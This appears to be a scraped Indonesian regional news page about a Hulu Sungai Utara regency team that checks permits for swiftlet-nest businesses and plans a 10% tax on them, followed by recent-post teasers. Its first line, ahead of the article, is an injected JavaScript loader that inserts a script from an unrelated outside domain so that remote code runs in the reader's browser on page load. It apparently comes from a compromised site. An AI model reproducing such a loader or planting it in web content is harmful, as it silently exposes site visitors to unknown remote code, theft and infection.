(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pemkab HSU Cek Perizinan Usaha Sarang Burung Walet


AMUNTAI, Tim validasi usaha sarang burung walet yang terdiri dari Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Satuan Polisi Pamong Praja, Bagian Hukum Setda Hulu Sungai Utara (HSU) serta Dinas Penanaman Modal Pelayanan Terpadu Satu Pintu dan Tenaga Kerja (DPTSPTK) mendata ulang serta mendatangi lokasi tempat usaha sarang burung walet di Desa Harus dan Desa Harusan Kecamatan Amuntai Tengah, Selasa (7/11).

Cek lapangan ini berlatar belakang keinginan Pemerintah Kabupaten HSU untuk memaksimalkan pendapatan dari usaha sarang burung walet yang sudah banyak di Kabupaten HSU. Pasalnya pengusaha sarang burung walet masih banyak yang belum mempunyai izin usaha sarang burung walet atau izin bangunan.

“Validasi usaha sarang burung ini untuk memastikan jumlah sarang burung walet dan kelengkapan izin usahanya,” ujar Sekertaris BP2RD H Akhmad Jarni.

Adapun untuk usaha sarang burung walet di Kabupaten HSU yang diketahui sekitar 1.200 buah. Untuk itu dibentuklah Tim Validasi Sarang Burung Walet guna memastikan jumlah sarang walet yang sudah dibangun, izin bangunan serta memastikan izin usahanya.

Seketaris Sat Pol PP HSU Sugeng Riyadi mengatakan kebanyakan para pengusaha sarang burung walet masih belum mendaftarkan perizinan membangun sarang burung walet meraka, sedangkan beberapa bangunan sarang tersebut sudah lama dibangunnya.

Ia menambahkan, izin itu sendiri harus memperhatikan berbagai aspek termasuk lingkungan, pengusaha walet juga meminta izin ke Dinas Permukiman dan Lingkungan Hidup untuk masalah kebisingan yang ditimbulkan usaha tersebut, apalagi sarang tersebut dekat pemukiman warga. Adapun untuk syarat usaha sarang burung walet itu sendiri yaitu harus mempunyai izin minimal 2, yaitu bangunan untuk sarang dan izin usaha sarang burung walet.

“Para pengusaha sarang burung walet akan dikenakan pajak sebesar 10% dari hasil usaha mereka dan efektifnya akan diberlakukan mulai tahun 2018,” ujar Kabid Pajak dan Retribusi BP2RD Ma’ruf  saat peninjauan.

Sementara dikatakan Husni SH, Kasubag Bagian Hukum Setda HSU menghimbau agar sebaiknya para pengusahan sarang burung walet melengkapi perizinannya IMB dan izin usaha walet ke Dinas Penanaman Modal, Pelayanan Terpadu Satu Pintu dan Tenaga Kerja HSU.(dewahyudi)


Desy Arfianty

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

13 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

14 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

16 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

20 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

20 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

22 jam ago

This website uses cookies.